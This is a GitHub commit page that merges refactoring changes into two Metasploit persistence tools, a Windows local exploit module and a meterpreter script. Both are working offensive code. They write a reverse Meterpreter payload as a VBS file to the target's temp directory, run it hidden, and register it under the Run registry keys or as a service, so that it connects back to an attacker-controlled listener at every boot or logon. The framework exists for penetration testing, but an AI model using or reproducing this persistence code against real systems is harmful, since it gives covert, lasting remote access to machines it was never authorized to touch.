Skip to content

Commit 4fc4866

Browse files
author
HD Moore
committed
Merge code in from rapid7#2395
1 parent 488f46c commit 4fc4866

File tree

2 files changed

+72
-81
lines changed

2 files changed

+72
-81
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 44 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,16 @@
55

66
require 'msf/core'
77
require 'rex'
8+
require 'msf/core/post/common'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/windows/priv'
11+
require 'msf/core/post/windows/registry'
812
require 'msf/core/exploit/exe'
913

1014
class Metasploit3 < Msf::Exploit::Local
1115
Rank = ExcellentRanking
1216

17+
include Msf::Post::Common
1318
include Msf::Post::File
1419
include Msf::Post::Windows::Priv
1520
include Msf::Post::Windows::Registry
@@ -19,7 +24,7 @@ def initialize(info={})
1924
super( update_info( info,
2025
'Name' => 'Windows Manage Persistent Payload Installer',
2126
'Description' => %q{
22-
This Module will create a boot persistent reverse Meterpreter session by
27+
This Module will create a boot persistent reverse Meterpreter session by
2328
installing on the target host the payload as a script that will be executed
2429
at user logon or system startup depending on privilege and selected startup
2530
method.
@@ -44,7 +49,6 @@ def initialize(info={})
4449
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
4550
OptString.new('PATH',[false, 'Path to write payload']),
4651
], self.class)
47-
4852
end
4953

5054
# Exploit Method for when exploit command is issued
@@ -59,49 +63,37 @@ def exploit
5963

6064
exe = generate_payload_exe
6165
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
62-
script_on_target = write_script_to_target(script,rexename)
66+
script_on_target = write_script_to_target(script, rexename)
6367

64-
if script_on_target == nil
65-
# exit the module because we failed to write the file on the target host.
66-
return
67-
end
68+
# exit the module because we failed to write the file on the target host.
69+
return unless script_on_target
6870

6971
# Initial execution of script
70-
if target_exec(script_on_target) == nil
71-
# Exit if we where not able to run the payload.
72-
return
73-
end
7472

7573
case datastore['STARTUP']
76-
when /USER/i
77-
regwrite = write_to_reg("HKCU", script_on_target, reg_val)
74+
when 'USER'
7875
# if we could not write the entry in the registy we exit the module.
79-
if not regwrite
80-
return
81-
end
82-
when /SYSTEM/i
83-
regwrite = write_to_reg("HKLM", script_on_target, reg_val)
76+
return unless write_to_reg("HKCU", script_on_target, reg_val)
77+
when 'SYSTEM'
8478
# if we could not write the entry in the registy we exit the module.
85-
if not regwrite
86-
return
87-
end
79+
return unless write_to_reg("HKLM", script_on_target, reg_val)
8880
end
8981

9082
clean_rc = log_file()
91-
file_local_write(clean_rc,@clean_up_rc)
83+
file_local_write(clean_rc, @clean_up_rc)
9284
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
9385

9486
report_note(:host => host,
9587
:type => "host.persistance.cleanup",
9688
:data => {
97-
:local_id => session.sid,
98-
:stype => session.type,
99-
:desc => session.info,
100-
:platform => session.platform,
89+
:local_id => session.sid,
90+
:stype => session.type,
91+
:desc => session.info,
92+
:platform => session.platform,
10193
:via_payload => session.via_payload,
10294
:via_exploit => session.via_exploit,
103-
:created_at => Time.now.utc,
104-
:commands => @clean_up_rc
95+
:created_at => Time.now.utc,
96+
:commands => @clean_up_rc
10597
}
10698
)
10799
end
@@ -116,9 +108,11 @@ def log_file(log_path = nil)
116108

117109
# Create a directory for the logs
118110
if log_path
119-
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
111+
logs = ::File.join(log_path, 'logs', 'persistence',
112+
Rex::FileUtils.clean_path(host + filenameinfo) )
120113
else
121-
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
114+
logs = ::File.join(Msf::Config.log_directory, 'persistence',
115+
Rex::FileUtils.clean_path(host + filenameinfo) )
122116
end
123117

124118
# Create the log directory
@@ -129,18 +123,20 @@ def log_file(log_path = nil)
129123
return logfile
130124
end
131125

132-
# Writes script to target host
133-
def write_script_to_target(vbs,name)
126+
# Writes script to target host and returns the pathname of the target file or nil if the
127+
# file could not be written.
128+
def write_script_to_target(vbs, name)
134129
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
135-
if name == nil
130+
unless name
136131
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
137132
else
138133
tempvbs = tempdir + "\\" + name + ".vbs"
139134
end
140135
begin
141136
write_file(tempvbs, vbs)
142137
print_good("Persistent Script written to #{tempvbs}")
143-
@clean_up_rc << "rm '#{tempvbs}'\n"
138+
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
139+
@clean_up_rc << "rm #{tempvbs}\n"
144140
rescue
145141
print_error("Could not write the payload on the target hosts.")
146142
# return nil since we could not write the file on the target host.
@@ -149,48 +145,39 @@ def write_script_to_target(vbs,name)
149145
return tempvbs
150146
end
151147

152-
# Executes script on target and return the PID of the process
148+
# Executes script on target and returns true if it was successfully started
153149
def target_exec(script_on_target)
154150
execsuccess = true
155151
print_status("Executing script #{script_on_target}")
156152
# error handling for process.execute() can throw a RequestError in send_request.
157153
begin
158-
if datastore['EXE::Custom'].nil?
154+
unless datastore['EXE::Custom']
159155
session.shell_command_token(script_on_target)
160156
else
161157
session.shell_command_token("cscript \"#{script_on_target}\"")
162158
end
163159
rescue
164-
print_error("Failed to execute payload on target host.")
165-
execsuccess = nil
160+
print_error("Failed to execute payload on target host.")
161+
execsuccess = false
166162
end
167163
return execsuccess
168164
end
169165

170166
# Installs payload in to the registry HKLM or HKCU
171-
def write_to_reg(key,script_on_target, registry_value)
172-
# Lets start to assume we had success.
173-
write_success = true
174-
if registry_value.nil?
175-
nam = Rex::Text.rand_text_alpha(rand(8)+8)
176-
else
177-
nam = registry_value
178-
end
167+
def write_to_reg(key, script_on_target, registry_value)
168+
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
169+
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
179170

180-
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
171+
print_status("Installing into autorun as #{key_path}\\#{nam}")
181172

182-
if(key)
183-
set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
184-
if set_return
185-
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
186-
else
187-
print_error("Failed to make entry in the registry for persistence.")
188-
write_success = false
189-
end
173+
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
174+
print_good("Installed into autorun as #{key_path}\\#{nam}")
175+
return true
190176
else
191-
print_error("Error: failed to open the registry key for writing")
192-
write_success = false
177+
print_error("Failed to make entry in the registry for persistence.")
193178
end
179+
180+
false
194181
end
195182

196183
end

scripts/meterpreter/persistence.rb

Lines changed: 28 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,13 @@
1+
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
2+
#-------------------------------------------------------------------------------
3+
################## Variable Declarations ##################
4+
15
##
26
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
37
# If you'd like to imporve this script, please try to port it as a post
48
# module instead. Thank you.
59
##
610

7-
8-
9-
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
10-
#-------------------------------------------------------------------------------
11-
################## Variable Declarations ##################
12-
1311
# Meterpreter Session
1412
@client = client
1513

@@ -32,13 +30,13 @@
3230
@exec_opts = Rex::Parser::Arguments.new(
3331
"-h" => [ false, "This help menu"],
3432
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
35-
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
33+
"-p" => [ true, "The port on which the system running Metasploit is listening"],
3634
"-i" => [ true, "The interval in seconds between each connection attempt"],
3735
"-X" => [ false, "Automatically start the agent when the system boots"],
3836
"-U" => [ false, "Automatically start the agent when the User logs on"],
3937
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
4038
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
41-
"-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],
39+
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
4240
"-T" => [ true, "Alternate executable template to use"],
4341
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
4442
)
@@ -76,9 +74,11 @@ def create_payload(payload_type,lhost,lport)
7674
#-------------------------------------------------------------------------------
7775
def create_script(delay,altexe,raw)
7876
if altexe
79-
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe})
77+
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
78+
{:persist => true, :delay => delay, :template => altexe})
8079
else
81-
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})
80+
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
81+
{:persist => true, :delay => delay})
8282
end
8383
print_status("Persistent agent script is #{vbs.length} bytes long")
8484
return vbs
@@ -95,9 +95,11 @@ def log_file(log_path = nil)
9595

9696
# Create a directory for the logs
9797
if log_path
98-
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
98+
logs = ::File.join(log_path, 'logs', 'persistence',
99+
Rex::FileUtils.clean_path(host + filenameinfo) )
99100
else
100-
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
101+
logs = ::File.join(Msf::Config.log_directory, 'persistence',
102+
Rex::FileUtils.clean_path(host + filenameinfo) )
101103
end
102104

103105
# Create the log directory
@@ -114,13 +116,14 @@ def write_script_to_target(target_dir,vbs)
114116
if target_dir
115117
tempdir = target_dir
116118
else
117-
tempdir = @client.sys.config.getenv('TEMP')
119+
tempdir = @client.fs.file.expand_path("%TEMP%")
118120
end
119121
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
120122
fd = @client.fs.file.new(tempvbs, "wb")
121123
fd.write(vbs)
122124
fd.close
123125
print_good("Persistent Script written to #{tempvbs}")
126+
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
124127
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
125128
return tempvbs
126129
end
@@ -150,23 +153,24 @@ def targets_exec(script_on_target)
150153
print_status("Executing script #{script_on_target}")
151154
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
152155
print_good("Agent executed with PID #{proc.pid}")
153-
file_local_write(@clean_up_rc, "kill #{proc.pid}\n")
154156
return proc.pid
155157
end
156158

157-
# Function to insytall payload in to the registry HKLM or HKCU
159+
# Function to install payload in to the registry HKLM or HKCU
158160
#-------------------------------------------------------------------------------
159161
def write_to_reg(key,script_on_target)
160162
nam = Rex::Text.rand_text_alpha(rand(8)+8)
161-
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
162-
if(key)
163-
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
164-
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
165-
file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n")
163+
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
164+
print_status("Installing into autorun as #{key_path}\\#{nam}")
165+
if key
166+
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
167+
print_good("Installed into autorun as #{key_path}\\#{nam}")
168+
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
166169
else
167170
print_error("Error: failed to open the registry key for writing")
168171
end
169172
end
173+
170174
# Function to install payload as a service
171175
#-------------------------------------------------------------------------------
172176
def install_as_service(script_on_target)
@@ -219,13 +223,13 @@ def install_as_service(script_on_target)
219223
@clean_up_rc = log_file()
220224
print_status("Resource file for cleanup created at #{@clean_up_rc}")
221225
# Create and Upload Payload
222-
raw = create_payload(payload_type,rhost,rport)
223-
script = create_script(delay,altexe,raw)
224-
script_on_target = write_script_to_target(target_dir,script)
226+
raw = create_payload(payload_type, rhost, rport)
227+
script = create_script(delay, altexe, raw)
228+
script_on_target = write_script_to_target(target_dir, script)
225229

226230
# Start Multi/Handler
227231
if autoconn
228-
set_handler(payload_type,rhost,rport)
232+
set_handler(payload_type, rhost, rport)
229233
end
230234

231235
# Execute on target host

0 commit comments

Comments
 (0)